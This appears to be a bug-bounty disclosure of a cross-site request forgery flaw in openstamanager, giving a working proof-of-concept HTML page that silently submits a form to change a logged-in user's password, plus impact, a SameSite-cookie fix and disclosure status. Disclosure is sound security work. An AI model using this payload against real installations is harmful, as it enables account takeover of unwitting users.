Cross-Site Request Forgery (CSRF) in devcode-it/openstamanager
Valid
Reported on
Jul 31st 2021
✍️ Description
Attacker able to change users password if users visit attacker site.
🕵️♂️ Proof of Concept
1.Open the PoC.html In Firefox or safari.
2.now you can check that password changed to admin0
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://localhost:8000/openstamanager/modules/utenti/info.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="op" value="self_update" />
<input type="hidden" name="password" value="admin0" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
💥 Impact
This vulnerability is capable of change password of any user.
Fix
Set SameSite attribute of cookies to Lax or Strict.
Occurrences
We have contacted a member of the
devcode-it/openstamanager
team and are waiting to hear back
2 years ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
to join this conversation